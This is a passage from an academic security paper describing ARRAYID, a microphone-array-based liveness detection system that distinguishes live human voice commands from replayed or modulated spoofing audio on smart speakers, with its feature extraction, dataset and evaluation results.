audio data, only the transcribed text. To solve this problem,
we utilize open modular development boards with voice inter-
faces (i.e., the Matrix Creator [31] and Seeed Respeaker [42])
to collect the data. Since these development boards have simi-
lar sizes to commercial smart speakers, ARRAYID evaluations
on the above devices can be applied to a smart speaker with-
out any notable alterations. Generally speaking, given a smart
speaker with N microphones, a sampling rate of Fs, and data
collection time T , the collected voice sample is denoted as
VM×N , where M = Fs×T and we let Vi be the i-th channel’s
audio V (:, i). Then, the collected V is sent to the next module.

4.2 Data Pre-processing

As shown in equation 4, the identity (i.e., real human or spoof-
ing device) is hidden in the audio’s spectrogram. Therefore,
before feature extraction, we conduct the frequency analysis
on each channel’s signal and detect the audio’s direction.
Frequency analysis on multi-channel audio data. As de-
scribed in Section 3.2, the audio spectrogram in the time-
frequency domain contains crucial features for further liveness
detection. ARRAYID performs Short-Time Fourier Transform
(STFT) to obtain two-dimensional spectrograms of each chan-
nel’s audio signal. For the i-th channel’s audio Vi, which con-
tains M samples, ARRAYID applies a Hanning window to di-
vide the signals into small chunks with lengths of 1024 points
and overlapping sizes of 728 points. Finally, a 4096-sized
Fast Fourier Transform (FFT) is performed for each chunk
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Figure 8: Illustration of spectrogram array fingerprint feature FSAP extraction.

and a spectrogram Si is obtained as shown in Figure 8(a).
Direction detection. Given a collected audio VM×N , to deter-
mine the microphone which is closest to the audio source,
ARRAYID firstly applies a high pass filter with a cutoff fre-
quency of 100 Hz to VM×N . Then, for the i-th microphone Mi,
ARRAYID calculates the alignment errors Ei = mean((V (:
, i−1)−V (:, i))2) [39]. Finally, from the calculated E, AR-
RAYID chooses the microphone with minimum alignment
error as the corresponding microphone.

4.3 Feature Extraction

From equations 3 and 4, we observe that both audio spec-
trograms themselves and the microphone array’s difference
contain the liveness features of collected audio. In this mod-
ule, the following three features are selected by ARRAYID:
Spectrogram Array Fingerprint FSAP, Spectrogram Distribu-
tion Fingerprint FSDP, and Channel LPCC Features FLPC.

4.3.1 Spectrogram Array Feature

After obtaining the spectrogram S = [S1,S2, . . . ,SN ] from N
channels’ audio data V = [V1,V2, ...,VN ], ARRAYID firstly
exploits the array fingerprint which is proposed in Section 3.2
to extract the identity of the audio source. To reduce the
computation overhead, for Sk with size Ms ×Ns, we only
preserve the components in which frequency is less than
the cutoff frequency fsap. In this study, we empirically set
fsap as 5 kHz. The resized spectrograms are denoted as
Spec = [Spec1,Spec2, ...,Speck], where Speck = Sk(: Mspec, :
). In this study, with sampling rate Fs = 48kHz and FFT points
N f f t = 4096, the Mspec is [ fsap×N f f t

Fs
] = 426.

Figure 8(a) illustrates Spec of three channels of the com-
mand "OK Google." It is observed that different channels’
spectrograms are slightly different. However, directly using
such subtle differences would cause an inaccurate feature.
Thus, ARRAYID transforms Speck into a grid matrix Gk with

size MG×NG by dividing Speck into MG×NG chunks and
calculates the sum of magnitudes within each chunk. The
element of Gk could be represented as:

Gk(i, j) = sum(Speck(1+(i−1) ·SM : i ·SM,

1+( j−1) ·SN : j ·SN)),
(7)

where SM = [
Mspec
MG

] and SN = [
Nspec
NG

] are the width and length
of each chunk. Note that some elements of Speck may be
discarded, however, it does not affect the feature generation,
since ARRAYID focuses on the differences between spec-
trograms according to equation 4. In this study, MG and NG
are set to 100 and 20 respectively, and Figure 8(b) shows the
spectrogram grids from the first, third and fifth microphone.
The difference among elements in G = [G1,G2, ...,GN ] is
now very obvious. For instance, the grid values in the red
rectangles of Figure 8(b) are quite different.

Then, based on equation 4, ARRAYID calculates the array
fingerprint FG from the spectrogram G. FG has the same size
as Gk, and the elements of FG can be represented as:

FG(i, j) = std([G1(i, j),G2(i, j), ...,GN(i, j)]). (8)

Figure 8(c) illustrates the FG containing NG chunks calcu-
lated from spectrogram grids as shown in Figure 8(b). How-
ever, we find that in different time chunks, the FG(:, i) varies.
The reason is that different phonemes are pronounced by dif-
ferent articulatory gestures, which can be mapped to a differ-
ent huser( f , t) function in Section 2.2. To solve this problem,
we leverage the idea that even though different phonemes con-
tain different gestures, there are common components over
a long duration of time. Therefore, ARRAYID averages the
FG across the time axis, and Figure 8(c) shows the average
result FG. ARRAYID performs a 5-point moving average and
normalization on FG to remove noise and generate the spec-
trogram array fingerprint FSAP.

Figure 8(d) gives a simple demonstration about the effec-
tiveness of the FSAP feature generation process. We test three
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Figure 9: Spectrogram distributions between authentic human and spoofing device.

voice commands “OK Google”, “Turn on Bluetooth” and
“Record a video”, while the distances between the speaker and
microphone array are set as 0.6 m and 1.2 m in the first two
commands and the last command, respectively. In Figure 8(d),
it is observed that the different commands result in a similar
array fingerprint, and the feature difference between authentic
audio and spoofing audio is clear. Finally, since ARRAYID re-
quires a fast response time, the feature should be lightweight.
So, the FSAP is re-sampled to the length of NSAP points. In this
study, we empirically choose NSAP as 40.

4.3.2 Spectrogram Distribution Feature

Besides FSAP, as mentioned in equation 3, the spectrogram
distribution also provides useful information related to the
identity of the audio source. Thus we also extract spectrogram
distribution fingerprint FSDP for liveness detection. Given a
spectrogram Sk from the k-th channel, ARRAYID calculates
a NG-dimension vector Chk in which Chk(i) = ∑

Mspec
j=1 Sk( j, i),

where Mspec and NG are set as 85 and 20 respectively in this
study.5 For the audio with N channels, the channel frequency
strength Ch = [Ch1,Ch2, ...,ChN ] is obtained.

Figure 9(a) and 9(b) show channel frequency strength Ch1
and Ch4 of first and fourth channels from authentic and spoof-
ing audios. It is observed that Ch from real human and spoof-
ing device are quite different. Therefore, we utilize the av-
erage of channel frequency strengths Ch and re-sample its
length to NCh as the first component of FSDP. In this study,
Ch(i) = mean([Ch1(i),Ch2(i), ...,ChN(i)]) and NCh is set to
20. We can also find that for the same audio, Ch from dif-
ferent channels have slightly different magnitudes and distri-
butions. To characterize the distribution of Ch, for Chk from
the k-th channel, ARRAYID first calculates the cumulative
distribution function Cumk and then determines the indices µ
which can split Cumk uniformly. As shown in Figure 9(a) and
9(b), the Chk are segmented into 6 bands. ARRAYID sets the
T hr = [0.1,0.3,0.5,0.7,0.9], and the index µ(k, i) of the i-th
T hr for Chk satisfies the following condition:

Cumk(µ(k, i)≤ T hri ≤Cumk(µ(k, i)+1). (9)

After obtaining the N× 5 indices µ, we utilize the mean
value Dmean and standard deviation Dstd among different chan-
nels as a part of the spectrogram feature. Both Dmean and Dstd

5When calculating FSDP, we set the cutoff frequency as 1 kHz since most
human voice frequency components are located in the 0~1 kHz range and
the corresponding MSpec is 85 under the the parameters in Section 4.3.1.

are vectors with length of 5, where Dmean(i) = mean(µ(:, i))
and Dstd(i) = std(µ(:, i)). Finally, ARRAYID obtains the spec-
trogram distribution fingerprint FSDP = [Ch,Dmean,Dstd ]. Fig-
ure 9(c) illustrates the FSDP from authentic and spoofing au-
dios and demonstrates the robustness of FSDP.

4.3.3 Channel LPCC Features

The final feature of ARRAYID is the Linear Prediction Cep-
strum Coefficients (LPCC). Since each channel has unique
physical properties, retaining the LPCC which characterizes a
given audio signal could further improve the detection perfor-
mance. For audio signal yk(t) collected by microphone Mk,
ARRAYID calculates the LPCC with the order p = 15. Due to
page limit, the details of LPCC extraction is introduced in Fig-
ure 16 and Appendix A respectively. To reduce the time over-
head spent on LPCC extraction, we only preserve the LPCCs
from aduios in these two channels (Mi,Mmod(i+N/2,N)), where
Mi is the closet microphone derived from Section 4.2. Finally,
we generate the final feature vector X = [FSAP,FSDP,FLPC].

4.4 Classification Model
After generating the feature vector from the audio input, we
choose a lightweight feed-forward back-propagation neural
network to perform liveness detection. The neural network
only contains three hidden layers with rectified-linear activa-
tion (layer sizes: 64, 32, 16). We adopt a lightweight neural
network because it can achieve a quick response to the de-
cision, which is essential for the devices in the smart home
environment. We also discuss other possible classification
models in Appendix C.

5 Evaluations

5.1 Experiment Setup
Hardware setup. Since it is hard for users to obtain audio
files from popular smart speakers such as Google Home and
Amazon Echo, in this study, to collect multi-channel audios,
as shown in Figure 17 of Appendix B, we employ two open
modular development boards (i.e., Matrix Creator, and Seeed
ReSpeaker Core v2) with the sampling rate of 48 kHz to serve
as smart speakers. The number of microphones in the Matrix
and ReSpeaker are 8 and 6, respectively, and their radiuses
are 5.4 cm and 4.7 cm respectively. For the spoofing device,
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we employ 14 different electrical devices with various sizes
and audio qualities whose detailed parameters are shown in
Table 6 of Appendix B.
Data collection procedure. In this study, 20 participants are
recruited to provide the multi-channel audio data. The data
collection procedure consists of two phases: (i) Authentic au-
dio collection: in this phase, the participant speaks 20 different
voice commands as listed in Appendix B and the experimen-
tal session can be repeated multiple times by this participant.
We pre-define four distances (i.e., 0.6 m, 1.2 m, 1.8 m, 2.4 m)
between the microphone array and the participant can choose
any of them in each session. For the speaking behavior, we
ask the participant to speak command as she/he likes and
did not specify any fixed speed/tone. (ii) Spoofing audio col-
lection: in this phase, similar to the manners adopted by the
previous works [3, 49, 54], after collecting the authentic voice
samples, we utilize the spoofing devices as listed in Table 6
to automatically replay the samples without the participant’s
involvement. When replaying a voice command, the electrical
device is placed at the same location as the corresponding
participant.
Dataset description. After finishing experiments, we utilize
pyAudioAnalysis tool to split the collected audio into mul-
tiple voice command samples.6 After removing incorrectly
recognized samples, we get a dataset containing 32,780 au-
dio samples. We refer to this dataset as MALD dataset and
utilize it to assess ARRAYID.7 The details of MALD dataset
are shown in Table 7 of Appendix B. For instance, user #7
provides 600 authentic samples at three different positions
(i.e., the distance of 0.6 m, 1.2 m and 1.8 m) and we uti-
lize these collected samples with three spoofing devices (i.e.,
SoundLink, iPad, iPhone) to generate 1,800 spoofing samples.
Training procedure. As mentioned in Section 4.4, AR-
RAYID needs to be trained with audio samples before de-
tecting spoofing attacks. When evaluating the overall per-
formance of ARRAYID on the collected MALD dataset in
Section 5.2, we perform the two-fold cross-validation. In each
fold (i.e., training procedure), half samples are chosen to gen-
erate a classifier and the validation dataset proportion is set as
30%. When evaluating the impact of other factors as shown in
Section 5.3 and Section 5.4, the training procedure depends
on the specific experiment, and we show the training dataset
before presenting the evaluation results.
Evaluation metrics. Similar to previous works [3, 32, 49], in
this study, we choose accuracy, false acceptance rate (FAR),
false rejection rate (FRR), true rejection rate (TRR), and equal
error rate (ERR) as metrics to evaluate ARRAYID. The accu-
racy means the percentage of the correctly recognized sam-
ples among all samples. FAR represents the rate at which a
spoofing sample is wrongly accepted by ARRAYID, and FRR
characterizes the rate at which an authentic sample is falsely

6PyAudioAnalysis website: https://pypi.org/project/pyAudioAnalysis/.
7MALD is the abbreviation of “microphone array-based liveness detec-

tion”.
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Figure 10: Per-user breakdown analysis.

rejected. EER provides a balanced view of FAR and FRR and
it is the rate at which the FAR is equal to FRR.
Ethics consideration. The experiments are under the ap-
proval of the institutional review board (IRB) of our insti-
tutions. During the experiments, we explicitly inform the
participants about the experimental purpose. Since only the
voice data are collected and stored in an encrypted dataset,
there is no health or privacy risk for the participant.

5.2 Performance of ARRAYID

Overall accuracy. When evaluating ARRAYID on our own
MALD dataset, we choose two-fold cross-validation, which
means the training and testing datasets are divided equally.
ARRAYID achieves the detection accuracy of 99.84% and the
EER of 0.17%. More specifically, for all 32,780 samples, the
overall FAR and FRR are only 0.05% (i.e., 13 out of 22,539
spoofing samples are wrongly accepted) and 0.39% (i.e., 40
out of 10,241 authentic samples are wrongly rejected) respec-
tively. The results show that ARRAYID is highly effective in
thwarting spoofing attacks.
Per-user breakdown analysis. To evaluate the performance
of ARRAYID on different users, we show the FAR and FRR
of each user in Figure 10. Note that, for six users (i.e., users
#11, #12, #15, #16, #17, #18) which are not shown in this
figure, there is no detection error. When considering FAR,
it is observed that the false acceptance cases only exist in
6 users. Even in the worst cases (i.e., user #20), the false
acceptance rate is still less than 0.51%. When considering
FRR, the false rejection cases are distributed among 14 users.
It’s observed that only the FRRs of users #3 and #20 are above
1%. Although the performance of ARRAYID on different
users is different, even for the worst-case (i.e., user #20), the
detection accuracy is still at 99.0%, which demonstrates the
effectiveness of ARRAYID.
Time overhead. For a desktop with Intel i7-7700T CPU and
16 GB RAM, the average time overhead on 6-channel and 8-
channel audios are 0.12 second and 0.38 seconds, respectively.
Note that it is easy for the existing smart home systems(e.g.,
Amazon Alexa) to incorporate ARRAYID to their current in-
dustrial level solutions in the near future. In that case, both the
speech recognition and liveness detection can be done in the
cloud [30]. Therefore, by leveraging the hardware configura-
tion of the smart speaker’s cloud (e.g., Amazon Cloud [16]),
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Table 1: The detection accuracy on both datasets.

Liveness feature Dataset
MALD dataset ReMasc dataset

Microphone array 99.84% 97.78%
Mono feature 98.81% 84.37%
Two-channel 77.99% 82.44%

Table 2: Performance when changing the distance.
Training position (m) 1.2 1.8 2.4

Accuracy (%) 99.41 99.53 99.66
EER (%) 1.11 0.93 0.69

which is much better than our existing one (CPU processor),
we believe that the time overhead can be further reduced and
will not incur notable delays.
Comparison with previous works. We further compare the
performance of ARRAYID with existing works to demon-
strate the superiority of the proposed array fingerprints. To
eliminate the potential bias in our collected MALD dataset,
we also exploit a third-party dataset named ReMasc Core
which contains 12,023 voice samples. from 40 different users.
8 We re-implement mono audio-based scheme VOID [3] and
two-channel audio-based scheme CAFIELD [49]. For a fair
comparison, we replicate their parameters and classification
models as shown in Appendix C.

As shown in Table 1, since MALD dataset is collected in
the indoor smart home environment and ReMasc is collected
in both indoor, outdoor, and vehicle environments, the detec-
tion accuracy varies among these two datasets. ARRAYID is
superior to previous works in both datasets. Especially for
the ReMasc Core dataset in which only half of the audio sam-
ples are collected in the indoor environment, ARRAYID is
the only scheme that achieves an accuracy above 98.25%.
The two-channel-based scheme CAFIELD, gets relatively low
performance on both the MALD dataset and ReMasc dataset.
It is quite natural since CAFIELD claimed it needs the user
to hold the device with fixed gestures and short distances. In
summary, these results demonstrate that compared with mono
audio-based or two-channel-based scheme, exploiting micro-
phone array-based feature achieves superior performance in
the liveness detection task.

5.3 Impact of Various Factors on ARRAYID

In this subsection, we evaluate the impact of various factors
(e.g., distance, direction, user movement, spoofing device, mi-
crophone array type) on ARRAYID.
Impact of changing distance. To evaluate the performance
of ARRAYID on a totally new distance, we recruit four partic-
ipants to attend experiments at three different locations (i.e.,

8We only consider the 12,023 audio samples collected by circular micro-
phone arrays in the ReMasc Core dataset.

Table 3: Performance under different directions.
Direction Front Left Right Back

# authentic samples 1020 1004 1195 1000
# spoofing samples 980 947 971 932

Accuracy (%) 100 99.69 99.31 99.74
EER (%) 0 0.59 1.08 0.43

1.2 m, 1.8 m, 2.4 m). We totally collect 2,410 authentic and
2,379 spoofing audio samples. For a given distance, the classi-
fier is trained with audios at this distance and tested on audios
at other distances. As shown in Table 2, compared with the
performance in Section 5.2, ARRAYID’s performance under-
goes degradation when the audio source (i.e., the human or the
spoofing device) changes its location. However, in all cases,
ARRAYID achieves an accuracy above 99.4%, which demon-
strates ARRAYID is robust to the training distance. This result
is also conform to the theoretical analysis in Section 3.2
Impact of changing direction. In Section 5.1, when collect-
ing audio samples, most participants face the smart speaker
while generating voice commands. To explore the impact of
the angles between the user’s face direction and the micro-
phone array, we recruit 10 participants to additionally collect
authentic voice samples in four different directions (i.e., front,
left, right, back) and then the spoofing device #8 in Table 6
is utilized to generate spoofing audios. As shown in Table 3,
we totally collect 4,219 authentic samples and 3,830 spoof-
ing samples. Then, we use the classification model trained in
Section 5.2 to conduct liveness detection. It is observed from
Table 3 that in all scenarios, ARRAYID achieves an accuracy
above 99.3%, which means ARRAYID is robust to the change
of direction.
Impact of user movement. As similar to the above para-
graphs, we recruit 10 participants to speak while walking.
Then, the participant walks while holding a spoofing device
(i.e., Amazon Echo) and plays spoofing audios. We collect
1,999 authentic and 1,799 spoofing samples, and the classifier
is the same as that in Section 5.2. The detection accuracy
is 98.2% which demonstrates that ARRAYID and the array
fingerprint are robust even with the user’s movement.
Impact of changing environment. To evaluate the impact of
different environments on ARRAYID, we recruit 10 partici-
pants to speak voice commands and use device #8 to launch
voice spoofing at a room different from that in Section 5.2. We
collect 1,988 authentic samples and 1,882 spoofing samples
respectively. When utilizing the classifier in Section 5.2, the
detection accuracy is 99.30%, which shows ARRAYID can
effectively thwart voice spoofing under various environments.
Impact of microphone numbers in the smart speaker.
Studying the relationship between ARRAYID’s performance
and the number of microphones could help the smart speaker
vendors to determine microphone configurations. Note that
the data in MALD dataset can be divided into six-channel
(collected by ReSpeaker) and eight-channel (collected by Ma-
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Table 4: The FAR of each spoofing device.
Device # 1 4 8 9 10
FAR (%) 0.09 1.04 0.05 0.55 0.96
Device # 11 12 13 14 Others
FAR (%) 3.15 4.14 0.79 0.76 0

trix) audios. Then, we generate four-channel audio data from
the data collected by Matrix device by extracting data from
microphones (M1,M3,M5,M7).

For three audio groups with 4, 6, and 8 channels respec-
tively, after conducting two-fold cross-validation on each
group, the detection accuracies of ARRAYID are 99.78%,
99.82%, and 99.90% respectively. That means changing the
number of channels doesn’t cause a significant effect on AR-
RAYID’s performance. From the theoretical analysis in Sec-
tion 3.2 and Figure 4, the standard deviation of paths from
source to each microphone could be regarded as a constant
in a smart speaker scenario. Therefore, as long as the micro-
phone array has a circular layout, ARRAYID could provide
robust protection on thwarting voice spoofing.
Impact of Spoofing Devices. It is well known that different
devices have different frequency-amplitude response proper-
ties, and thus may have different attacker power. To evaluate
ARRAYID’s performance on thwarting different spoofing de-
vices, we conduct an experiment based on the MALD dataset
containing 14 spoofing devices as listed in Table 6 of Ap-
pendix B. As discussed in Section 6.1, to reduce the user’s
enrollment burden, we set the training proportion as 10%.

Table 4 illustrates the FAR of ARRAYID on each device
in this case. It is observed that among 14 devices, the overall
FAR is 0.58% (i.e., 117 out of 20,290 spoofing samples are
wrongly accepted). Besides, ARRAYID achieves overall 100%
detection accuracy on 5 devices (i.e., devices #2, #3, #5, #6,
#7). Even in the worst case (i.e., device #12 Megaboom), the
true rejection rate is still at 95.86%. Furthermore, as shown in
Section 5.2, when increasing the training proportion to 50%,
the false accept rate (FAR) of ARRAYID is only 0.05%. In
summary, ARRAYID is robust to various spoofing devices.

5.4 Robustness of ARRAYID
5.4.1 Handling the Incomplete Enrollment Prodecure

Similar to previous works [3,49,54], in Section 5.2, ARRAYID
requires the user to participate in the enrollment procedures
(i.e., providing both authentic and spoofing voice samples).
Considering that participating in enrollment is not always
feasible, we explore the robustness of ARRAYID in handling
the case that users who did not participate in the complete
enrollment procedures.
Case 1: handling users who did not participate in any en-
rollment procedure. In this case, we add an experiment to
evaluate the performance of ARRAYID on participants that
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Figure 11: Detection accuracy when the user did not partici-
pates in enrollment.

did not participate in the enrollment (i.e., unseen users). In the
experiment, for each user in the MALD dataset, we train the
classifier using other 19 users’ legitimate and spoofing voice
samples and regard the user’s samples as the testing dataset.
The detection accuracy of each user is shown in Figure 11.
We also show the results described in Section 5.2 when users
participate in the enrollment as a comparison.

From Figure 11, it is observed that the overall detection
accuracy decreases from 99.84% to 92.97%. In the worst
case (i.e., user #12), the detection accuracy decreases from
99.87% to 74.53%. The results demonstrate that ability of
ARRAYID on addressing unseen users varies with different
users. However, for 11 users, ARRAYID can still achieve
detection accuracies higher than 95%. The overall results
demonstrate that ARRAYID is still effective when addressing
unseen users.

The performance degradation when addressing unseen
users remains an open problem in the area of liveness de-
tection [3, 6, 32, 54]. To partially mitigate this issue, a prac-
tical solution is requiring the unseen users to provide only
authentic voice samples to enhance the classifier (i.e., case 2
discussed below).
Case 2: handling a user with only authentic samples
(without spoofing samples). In this case, we consider an-
other situation that the user partially participates in the en-
rollment and provides only authentic voice samples. We add
an experiment by leveraging the MALD dataset. Note that,
we assume the attacker only utilizes existing devices in the
smart home to conduct spoofing. Thus a total of 18 users are
selected (i.e., users #19 and #20 are excluded because their
spoofing devices are never used by others in MALD dataset),
whose spoofing devices are listed in Table 6 of Appendix B.
During the experiment, for each selected user, ARRAYID is
trained with this user’s authentic voice samples, and generic
spoofing samples provided by other 17 users. Then, in the
evaluation phase, we test the ability of ARRAYID to detect
attack samples of this user and calculate the corresponding
detection accuracy (i.e., TRR).

Figure 12 illustrates the detection accuracy under two dif-
ferent enrollment configurations. For all 18 users, the overall
accuracy (i.e., TRR) decreases from 99.96% in the classical
enrollment scenario described in Section 5.2 to 99.68% in this
partial enrollment scenario. For 11 users (i.e., user #4, #5, #8,
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Figure 12: Detection performance under partial enrollment.

#9, #11, #12, #14, #15, #16, #17, #18), the accuracy remains
100% in both scenarios. For the other 7 users, the accuracy
decreases slightly due to a lack of knowledge of the user’s
attack samples in the classifier, but all of them achieve the
accuracy of above 96%, which demonstrates the effectiveness
of ARRAYID in the partial enrollment scenario.

5.4.2 Liveness Detection on Noisy Environments

We add an experiment to evaluate the impact of background
noise. As shown in Figure 13(a), to ensure the noise level is
consistent when the user is speaking a voice command, we
place a noise generator to play white noise during the data
collection. We utilize an advanced sound level meter (i.e.,
Smart Sensor AR824) with an A-weighted decibel to measure
the background noise level. The strengths of noise level at
the microphone array are set as 45 dB, 50 dB, 55 dB, 60 dB,
and 65 dB respectively, and a total of 4,528 audio samples are
collected from 10 participants and the spoofing device #13
(i.e., Amazon Echo plus).

We utilize the classifier in Section 5.2 where the noise
level is 30 dB to conduct liveness detection. As shown in
Figure 13(b), when increasing the noise level from 45 dB
to 65 dB, the accuracy decreases from 98.8 % to 86.3 %.
It is observed that ARRAYID can still work well when the
background noise is less than 50 dB, which also explains
why ARRAYID can handle the audio samples of the ReMasc
Core dataset collected in an outdoor environment. However,
when there exists strong noise, since the feature of ARRAYID
is only based on the collected audios, the performance of
ARRAYID degrades sharply. We discuss this limitation in
Section 6.3 and leave it for future work.

5.4.3 Defending against Advanced Spoofing Attacks

Thwarting modulated attacks. In this subsection, we first
study the performance of ARRAYID under the emerging mod-
ulated attack [48]. By modulating the spectrum of replayed
audio, the modulated attack [48] identifies an important threat
to existing liveness detection schemes. To achieve this goal,
in the attack model, the adversary first needs to use a micro-
phone of the target device to collect the target user’s authentic
voice samples. 9 Then, the adversary physically approaches

9The attack assumption of the modulated attack [48] only considers the
voice interface with only one microphone.
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Figure 13: Performance under noisy environments.
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Figure 14: Spectrums and array fingerprints of audio signals.

the spoofing device to measure its frequency amplitude curve
and the corresponding inverse filter using the target micro-
phone. Finally, by applying the inverse filter on the authentic
audio and playback it via the spoofing device, for the target
microphone, the spectrum of the collected modulated audio
is similar to the collected authentic audio as shown in Fig-
ure 14(a). However, since the array fingerprint characterizes
the difference among the multiple microphones, it is feasible
for ARRAYID to thwart modulated attacks.

We conduct a case study to demonstrate the robustness of
the array fingerprint. We select an Amazon Echo and a Re-
Speaker microphone array as the spoofing and target device,
respectively, and follow the steps in [48] to re-implement
modulated attack. We recruit a volunteer to provide an authen-
tic voice command and then collect its corresponding classic
replay and modulated audios generated by the Echo device.

Figure 14 shows spectrums and array fingerprints of authen-
tic audio and its corresponding replay and modulated samples.
It is observed from Figure 14(a) that, for a given channel, the
spectrum of modulated audio (i.e., FFT Amplitude of the first
channel audio V1) is similar to that in the authentic audio,
which means it can bypass many existing liveness detection
schemes. However, since the human vocal organs and spoof-
ing devices cannot be regarded as a point sound source, the
sounds received in multiple microphones show the obvious
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differences.10 And the difference between multiple channel
audios (i.e., six channels in this experiment) characterized by
array fingerprints still retains the audio’s identity. As shown
in Figure 14(b), the array fingerprint of the modulated sample
is still similar to that of classic replay audio, which shows it
is feasible for ARRAYID to thwart the modulated attack.

Then, we evaluate the effectiveness of ARRAYID on thwart-
ing the modulated attack. In the experiment, we choose three
different spoofing loudspeakers #3, #13, and #14 (i.e., Echo
Plus, iPad 9, and Mi 9). We recruit 10 participants to provide
authentic samples and follow the steps described in [48] to
generate 1,990, 1,791, and 1,994 modulated attack samples
for Echo, iPad, and Mi respectively. Due to the page limit, the
details of modulated attacks are shown in Appendix D.

When employing the classifier in Section 5.2, the accuracy
of ARRAYID on detecting the modulated samples among
Echo, iPad, and Mi are 100%, 92.74%, and 97.29% respec-
tively. In summary, ARRAYID can successfully defend against
the modulated attack, but the performance varies with differ-
ent spoofing devices. Considering combining ARRAYID with
the dual-domain detection proposed in [48] can further im-
prove the security of smart speakers.
Other adversarial example attacks. To validate AR-
RAYID’s robustness under adversarial attacks, we re-
implement hidden voice attacks [7] and VMask [53] which
breach speech recognition and speaker verification schemes,
respectively. For each type of attack, we conduct voice spoof-
ing 100 times, and the experimental results show that AR-
RAYID detects 100% of attack audios for both attacks. The
reason why ARRAYID could detect these attacks is that these
attacks only aim to add subtle noises into source audio to
manipulate the features (e.g., MFCC) interested by speech/s-
peaker recognition schemes but the array fingerprint cannot
be fully converted to that of the target victim.

6 Discussions

6.1 User Enrollment Time in Training
Impact of training dataset size. To reduce the user’s regis-
tration burden, we explore the impact of training data size
on the performance of ARRAYID. For our collected MALD
dataset, we set the training dataset proportion as 10%, 20%,
30%, and 50% respectively. The results are shown in Table 5.
It is observed that the detection performance increases from
99.14% to 99.84% when involving more training samples.
Note that, even if we only choose 10% samples for training,
ARRAYID still achieves the accuracy of 99.14% and EER of
0.96%, which is superior to previous works [54].
Time overhead of user’s enrollment. As mentioned in Sec-
tion 5.1, the participant does not need to provide spoofing
audio samples. Besides, as shown in Table 5, when setting the

10In the theoretical analysis of Section 3.1, to simplify the analysis of the
classic replay attack, we regard the human and loudspeaker as points.

Table 5: Enrollment times per user.
Training

proportion
Authentic
samples

Time
(mm:ss)

Accuracy
(%)

EER
(%)

10% 51 02:33 99.14 0.96
20% 103 05:09 99.47 0.55
30% 155 07:45 99.63 0.43
50% 263 13:09 99.84 0.17
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Figure 15: Feature separation of 5 different users.

training proportion as 10%, among 10,241 authentic samples
from 20 users, the average number of audio samples provided
by each user during the enrollment is only 51. Since the av-
erage time length of the voice command is smaller than 3
seconds, the enrollment can be done in less than 3 minutes.
Compared with the time overhead on deploying an Alexa
skill which is up to 5 minutes [20], requiring 3 minutes for
enrollment is acceptable in real-world scenarios.

6.2 Distinguish between Different Users
Since ARRAYID is designed for liveness detection, we mainly
consider the voice command generated by the electrical loud-
speaker as a spoofing sample in this study. This subsection
explores the feasibility of user classification.

We randomly select 250 authentic samples from 5 differ-
ent users and then utilize t-Distributed Stochastic Neighbor
Embedding (t-SNE) to reduce the dimension of their corre-
sponding features. As shown in Figure 15, the feature vectors
from different users are visually clustered after dimension re-
duction, which shows the feasibility of user classification. For
all 10,241 authentic samples from 20 users, by leveraging two-
fold cross-validation, ARRAYID achieves an overall speaker
recognition accuracy of 99.88%. Besides, the accuracy among
different users ranges from 98.5% to 100%, which validates
the effectiveness of ARRAYID on user authentication.

6.3 Limitations and Countermeasures
We discuss some limitations of ARRAYID in this subsection.
The user’s burden on the enrollment. We can incorpo-
rate the enrollment into daily use to reduce the user’s time
overhead on training ARRAYID. Firstly, the evaluation re-
sults from Section 5.3 show that ARRAYID is robust to the

USENIX Association 31st USENIX Security Symposium    1089



change of user’s position, direction, and movement. That
means the user can participate in the enrollment anytime.
Then, to achieve this goal, we divide ARRAYID into working
and idle phases. In the working phase, when a user generates
a voice command, ARRAYID collects the audio and saves the
extracted features. During the idle phase, ARRAYID can auto-
matically update the classifier based on these new generated
features. These steps can be done automatically without hu-
man involvement, which means ARRAYID can continuously
improve its performance along with daily use. However, we
admit allowing the automatically continuous retraining pro-
cess may involve other potential risks. For instance, attackers
can launch poisoning attacks to reduce the performance of
speech recognition and speaker verification [1, 2, 11].
Impact of noise and other speakers. During the user’s en-
rollment, we assume the environment is silent and there is
no user who is talking. As shown in Section 5.4.2, since AR-
RAYID is a passive liveness detection that only depends on
audios, the strong noise or other speaker’s voice existing in
the collected audios will inevitably degrade its performance.
Therefore, the existence of noise and other users who are
talking will increase the enrollment time. Fortunately, since
ARRAYID is designed for the smart home or office environ-
ment, asking the users to keep a silent environment during
enrollment is a reasonable assumption. We leave this issue as
future work.
Temporal stability of array fingerprint. To evaluate the
timeliness of ARRAYID, we recruit a participant to provide
100 authentic voice commands and launch voice spoofing per
24 hours. When using the classification model as described in
Section 5.2 and the audio dataset collected by 24 hours and
48 hours later, ARRAYID still achieves over 98% accuracy.
We admit that the generated feature may be variant when the
participant changes her/his speaking manner or suffers from
mood swings. As mentioned in Section 6.3, a feasible solution
to address this issue is incorporating the enrollment into the
user’s daily use to ensure the freshness of the classification
model of ARRAYID.

7 Related Works

Attacks on smart speakers. The voice assistant is more vul-
nerable to the replay attack [4, 12, 21, 33]. Apart from the
classic replay attack, other advanced attacks are proposed.
Firstly, the attacker can leverage medias including ultrasonic
and laser to spoof voice assistance without incurring the
user’s perception [36, 41, 43, 52]. Secondly, the subtle noises
can be employed to generate the adversarial examples at-
tacks [7,24,26,38,46,50,59]. Thirdly, several attacking meth-
ods can activate the malicious app to threaten the security
of our smart home system [17, 25, 57, 58]. Finally, Wang et
al. [48]propose modulated attack, which is the latest advanced
voice spoofing method, and we evaluate it in Section 5.4.3.
Multi-factor based defenses. As for the detecting method,

some researches [15, 28, 29] are based on wearable devices.
Besides, several works utilize the Doppler effect [34, 37],
gestures according to sound [44], or other biometry charac-
teristics to deal with the security issue. Lei et al. [28] and
Meng et al. [32] proposed a wireless signal based method to
thwart voice spoofing. Lee et al. [27] proposed a sonar-based
solution to determine the user’s AoA (angle of arrival) to do
liveness detection. Zhang et al. [55, 56] and Chen et al. [9]
utilize the Doppler effect of ultrasonic and magnetic fields
from loudspeakers as the essential characteristic for detecting
attacks, respectively. However, these methods either require
the user to wear some specialized devices or utilize other de-
vices (e.g., wireless sensors) to measure the environmental
change caused by humans.
Defenses relying on the collected audios. Shiota et al. [40]
and Wang et al. [47] utilized the Pop noise when the human
speaks to differentiate the voice commands generated by real
humans and devices. Yan et al. [49] proposed the concept
of using a fieldprint to detect spoofing attacks. Furthermore,
Blue et al. [6] and Ahmed et al. [3] utilized spectral power
patterns to identify spoofing attacks alongside a single classi-
fication model to achieve lightness in authentication. Besides,
in terms of feature selection, Defraene et al. [10] and Kam-
ble et al. [22] propose novel spectrum-based features respec-
tively. We analyze these passive liveness detection schemes
